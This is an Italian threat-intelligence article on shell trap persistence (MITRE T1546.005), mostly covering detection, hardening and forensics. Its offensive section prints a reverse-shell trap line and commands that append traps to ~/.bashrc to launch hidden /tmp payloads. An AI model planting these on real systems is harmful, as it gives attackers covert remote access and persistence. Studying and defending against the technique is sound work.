Trap: Event Triggered Execution via Trap (T1546.005)

Dal punto di vista offensivo, la registrazione di un trap è tra i meccanismi di persistenza più economici da impiantare in un ambiente Unix. L'idea è inserire una direttiva nei file di inizializzazione della shell della vittima, in modo che un segnale ordinario riattivi il payload.

Un esempio lab-safe di persistenza su interruzione da tastiera:

trap 'bash -i >& /dev/tcp// 0>&1' INT

Inserendo questa riga in ~/.bashrc o ~/.bash_profile, ogni pressione di ctrl+c nella sessione dell'utente rilancia una reverse shell. Segnali alternativi come EXIT, HUP o TERM ampliano le condizioni d'innesco:

trap 'sh /tmp/.payload.sh' EXIT

Qui il codice viene eseguito alla chiusura della shell, coprendo un evento inevitabile. Per macOS lo stesso approccio funziona nei file di avvio di zsh (~/.zprofile, ~/.zshrc), shell di default sui sistemi Apple recenti.

La catena d'attacco tipica prevede: ottenere un accesso iniziale a livello utente, individuare quale shell e quali file di avvio siano letti all'apertura di sessione, e appendere la direttiva trap con un echo per non sovrascrivere il contenuto esistente:

echo "trap 'sh /tmp/.p' HUP" >> ~/.bashrc

Per l'escalation, l'attaccante cerca script eseguiti da utenti privilegiati o da cron: se uno di questi include o sorge un file scrivibile in cui inserire un trap, il payload viene innescato con i privilegi del chiamante.

Per la simulazione controllata sono utili i seguenti strumenti:

• Atomic Red Team (open source), che fornisce test riproducibili proprio per T1546.005 con inserimento e cleanup automatizzati del trap.
• MITRE Caldera (open source), per orchestrare la persistenza in scenari di adversary emulation.
• PEASS-ng / LinPEAS (open source), per la fase di ricognizione dei file di avvio scrivibili e degli script privilegiati.

Una nota operativa: la direttiva trap è visibile con trap -p, che elenca i trap registrati nella sessione corrente. In laboratorio è buona prassi documentare ogni inserimento e ripristinare lo stato originale dei file, poiché queste modifiche restano latenti e possono innescarsi involontariamente durante i test successivi.

Sul fronte difensivo, la rilevazione ruota attorno a due segnali correlati: la modifica dei file di avvio della shell e l'esecuzione anomala di processi figli a valle di un segnale di interruzione. La strategia DET0369 formalizza proprio questo approccio comportamentale.

Su Linux (analitica AN1038), la fonte primaria è auditd:SYSCALL. Occorre monitorare le scritture su file di profilo come ~/.bashrc, ~/.profile e ~/.zshrc, poi correlarle con la presenza di direttive trap incorporate. Una regola auditd che sorveglia le modifiche a questi percorsi fornisce la base:

auditctl -w /home -p wa -k shellrc

Il valore investigativo emerge dalla correlazione: se subito dopo l'inserimento di un trap si osserva la comparsa di processi figli inattesi in coincidenza con un segnale come SIGINT, si è di fronte a un innesco sospetto. Il parametro TimeWindow suggerito lega inserimento ed esecuzione entro una finestra da 10 secondi a 5 minuti, mentre SignalTrapName ricorda che l'attaccante può scegliere segnali atipici (HUP, TERM) per eludere firme basate solo su INT.

Su macOS (analitica AN1039), la telemetria di riferimento è macos:unifiedlog, integrata dall'EDR. Qui si cercano registrazioni non autorizzate di trap nei file di login di zsh e bash, seguite da catene d'esecuzione durante l'interazione dell'utente col terminale. Gli indicatori di tuning includono la lunghezza del comando trap — payload multi-comando sono più sospetti di trap benigni brevi — e l'anomalia dell'albero dei processi, cioè un figlio che devia dal comportamento tipico della shell.

I falsi positivi sono concreti: molti dotfile legittimi, framework come oh-my-zsh e script di amministrazione usano trap EXIT per cleanup ordinato. La chiave discriminante è il contenuto della lista di comandi — connessioni di rete, interpreti invocati su file nascosti in /tmp, decodifiche base64 — non la mera presenza del comando.

Sul piano dei controlli preventivi, conviene irrigidire i permessi dei dotfile impedendone la scrittura da parte di altri utenti, distribuire configurazioni shell gestite centralmente e trattarle come artefatti versionati. Il monitoraggio dell'integrità dei file (FIM) con AIDE (open source) o con la funzione di file integrity di Wazuh (open source) segnala qualsiasi alterazione dei file di avvio, offrendo un livello di allerta indipendente dalla correlazione dei segnali.

L'analisi forense di un impianto trap parte dagli artefatti su disco: i file di avvio della shell sono il primo luogo dove cercare. Su Linux vanno acquisiti e analizzati ~/.bashrc, ~/.bash_profile, ~/.profile e, per ambienti a livello di sistema, /etc/profile e /etc/bash.bashrc. Su macOS l'attenzione si sposta sui file di zsh — ~/.zprofile, ~/.zshrc — dato che è la shell predefinita.

La ricerca mirata della direttiva è immediata:

grep -rn "trap" /home /root /etc/profile /etc/bash.bashrc 2>/dev/null*

Ogni occorrenza va valutata nel merito: una lista di comandi che apre socket di rete, invoca interpreti su file nascosti o esegue decodifiche è un forte indicatore di compromissione, a differenza dei trap di cleanup legittimi.

La costruzione della timeline è centrale. I metadati MACB del filesystem rivelano quando un dotfile è stato modificato: un mtime recente e disallineato rispetto alla creazione dell'account o alle altre configurazioni utente segnala manomissione. Strumenti come The Sleuth Kit (open source) e Plaso/log2timeline (open source) aggregano questi timestamp in una cronologia coerente, incrociabile con gli eventi di login e con la comparsa di processi anomali.

Su Linux, se auditd era attivo, i record SYSCALL documentano l'operazione di scrittura sul file di profilo, l'utente e il processo responsabili, permettendo di risalire alla catena di inserimento. In assenza di auditd, i log della shell — quando presenti — e gli artefatti di history (~/.bash_history, ~/.zsh_history) possono conservare il comando echo o l'editing che ha introdotto il trap, sebbene la history sia facilmente ripulibile.

Su macOS gli Unified Logs conservano tracce del parsing dei comandi shell e degli avvii di processo; la loro esportazione con log collect e successiva analisi consente di ricostruire l'esecuzione a valle del segnale. Anche gli artefatti EDR, se presenti, forniscono l'albero dei processi che collega la shell al figlio malevolo.

Un elemento spesso trascurato è la latenza dell'innesco: il trap può restare dormiente per giorni finché l'utente non genera il segnale previsto. Per questo l'analista deve correlare il momento dell'inserimento nel file con l'eventuale esecuzione successiva, non aspettandosi che coincidano. La bonifica richiede la rimozione della direttiva da tutti i dotfile coinvolti e la verifica che il payload referenziato — spesso un file nascosto in /tmp o nella home — sia stato eliminato.

I dati strutturati di riferimento non associano a questa sotto-tecnica alcun gruppo APT, software, campagna o mitigazione formalmente documentati. Non essendo disponibili attribuzioni verificate, non è corretto indicare attori specifici: qualsiasi collegamento sarebbe speculativo e va evitato in un prodotto di intelligence rigoroso.

Questa assenza è di per sé un dato interpretabile. Il ricorso al comando trap come meccanismo di persistenza è una tecnica di nicchia, tipicamente osservata all'interno di catene di post-exploitation su sistemi Unix piuttosto che come firma distintiva di un singolo avversario. La sua natura living-off-the-land — riusa una funzionalità nativa della shell senza introdurre binari — la rende poco caratterizzante ai fini dell'attribuzione, motivo per cui raramente costituisce un indicatore di pivot verso un gruppo specifico.

Sul piano del profilo di rischio, la tecnica si presta ad ambienti dove le shell interattive sono centrali: server Linux esposti, workstation di sviluppatori e amministratori, nodi di infrastrutture cloud e container in cui i dotfile vengono ereditati dalle immagini di base. Gli attori con interesse alla persistenza discreta su queste piattaforme — dai gruppi orientati al criminale finanziario agli operatori di intrusioni mirate — trovano nel trap uno strumento a basso costo e bassa visibilità, complementare ad altri meccanismi di event-triggered execution.

Un pattern rilevante per l'analisi di intelligence è la combinazione tipica: il trap raramente opera isolato. Viene di norma concatenato ad altre sotto-tecniche della stessa famiglia di persistenza — modifica di file di inizializzazione shell, cron, o servizi — così che la rimozione di un singolo vettore non ripristini l'accesso. Chi produce reportistica dovrebbe quindi trattare l'individuazione di un trap malevolo non come evento terminale, ma come indizio di un impianto di persistenza più ampio da mappare integralmente.

In termini di trend, l'adozione crescente di zsh come shell predefinita su macOS e la diffusione di ambienti containerizzati con configurazioni shell condivise ampliano la superficie potenziale. Ai fini del threat modeling è utile considerare lo scenario in cui un'immagine di base contaminata propaghi un trap dormiente a molte istanze derivate, trasformando una singola manomissione in una persistenza su scala. Finché non emergano attribuzioni consolidate, la priorità dell'intelligence resta il monitoraggio comportamentale e la condivisione di indicatori tecnici, più che la caccia a firme d'attore specifiche.

MITRE ATT&CK: tecnica T1546.005 (Event Triggered Execution: Trap), tattiche TA0003 e TA0004; strategia di detection DET0369 con analitiche AN1038 (Linux, auditd:SYSCALL) e AN1039 (macOS, unifiedlog). Tool citati: Atomic Red Team, MITRE Caldera, LinPEAS/PEASS-ng, The Sleuth Kit, Plaso/log2timeline, AIDE, Wazuh. Parte delle procedure operative, dei comandi e degli artefatti forensi deriva da conoscenza professionale di cybersecurity, applicata nel rispetto dei dati MITRE forniti.